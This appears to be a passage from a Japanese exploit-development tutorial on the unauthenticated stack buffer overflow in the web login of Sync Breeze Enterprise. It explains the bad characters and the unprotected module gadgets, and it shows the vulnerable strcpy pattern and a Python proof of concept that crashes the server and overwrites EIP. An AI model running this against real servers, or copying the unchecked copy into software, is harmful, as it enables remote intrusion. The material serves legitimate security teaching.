💡 この脆弱性が興味深い理由

Sync Breeze Enterprise は、Web管理インターフェースを公開するWindowsファイル同期アプリケーションです。脆弱性はログインハンドラにあり、パスワードフィールドを固定サイズのスタックバッファに長さチェックなしでコピーします。このケースが教育に役立つ理由は以下の通りです。

• 認証不要。 認証チェックの前のログイン処理中にオーバーフローが発生します。
• 直接的なEIP上書き。 SEH、ヒープ、マルチステージのエクスプロイトは不要です。保存された戻りアドレスが直接上書きされます。
• HTTPコンテキストにより、明らかでない bad characters が導入される。 通常の \x00、\x0a、\x0d に加えて、application/x-www-form-urlencoded コンテンツタイプにより、\x25 (%)、\x26 (&)、\x2b (+)、\x3d (=) が bad chars となります。サーバーはバッファにコピーする前にURLエンコードされたボディをデコードするためです。bad char 分析を省略していきなりシェルコードに進んだ学生は、ペイロードがメモリに到達する前に静かに破壊されることになります。
• アプリケーションに同梱されたモジュール内の信頼性の高いガジェット。 Sync Breeze にバンドルされている libspp.dll は、ASLR、SafeSEH、CFG なしでコンパイルされているため、ガジェットアドレスは再起動後も固定されています。

char password_buffer[256];

strcpy(password_buffer, password_field);

import socket

HOST = '127.0.0.1'
PORT = 80

payload = b"A" * 600

body = b"username=admin&password=" + payload
request = (
	b"POST /login HTTP/1.1\r\n"
	b"Host: 127.0.0.1\r\n"
	b"Content-Type: application/x-www-form-urlencoded\r\n"
	b"Content-Length: " + str(len(body)).encode() + b"\r\n"
	b"Connection: close\r\n"
	b"\r\n" +
	body
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()

EIP = 41414141